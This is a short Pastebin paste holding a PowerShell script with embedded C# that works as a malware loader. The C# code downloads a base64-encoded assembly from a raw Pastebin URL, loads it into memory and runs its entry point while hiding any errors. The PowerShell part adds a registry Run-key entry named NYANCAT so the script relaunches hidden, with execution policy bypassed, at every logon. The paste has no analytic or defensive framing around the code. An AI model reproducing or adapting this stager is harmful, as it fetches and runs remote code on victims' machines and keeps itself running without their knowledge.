Advertisement
cyborg2323

Untitled

Apr 22nd, 2019
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.49 KB | None | 0 0
  1. $code = @"
  2.  
  3. using System.Net;
  4. using System.Reflection;
  5. using System;
  6. using System.Threading;
  7.  
  8. namespace Nyan
  9. {
  10. public class Cat
  11. {
  12. public void Run()
  13. {
  14. using (WebClient wc = new WebClient())
  15. {
  16. // new Thread(() =>
  17. // {
  18. try
  19. {
  20. Assembly asm = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("https://pastebin.com/raw/PxejEah1")));
  21. MethodInfo Metinf = asm.EntryPoint;
  22. object InjObj = asm.CreateInstance(Metinf.Name);
  23. object[] parameters = new object[1]; // C#
  24. if (Metinf.GetParameters().Length == 0)
  25. {
  26. parameters = null; // VB.NET
  27. }
  28. Metinf.Invoke(InjObj, parameters);
  29. }
  30. catch { return; }
  31. // })
  32. // { IsBackground = false }.Start();
  33. }
  34. }
  35. }
  36. }
  37.  
  38. "@
  39.  
  40. Try
  41. {
  42. New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name NYANCAT -PropertyType String -Value "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden -noexit -file $($MyInvocation.MyCommand.Definition)"
  43.  
  44. }
  45. Catch{}
  46.  
  47. Add-Type -TypeDefinition $code;
  48. $instance = New-Object Nyan.Cat;
  49. $instance.Run();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement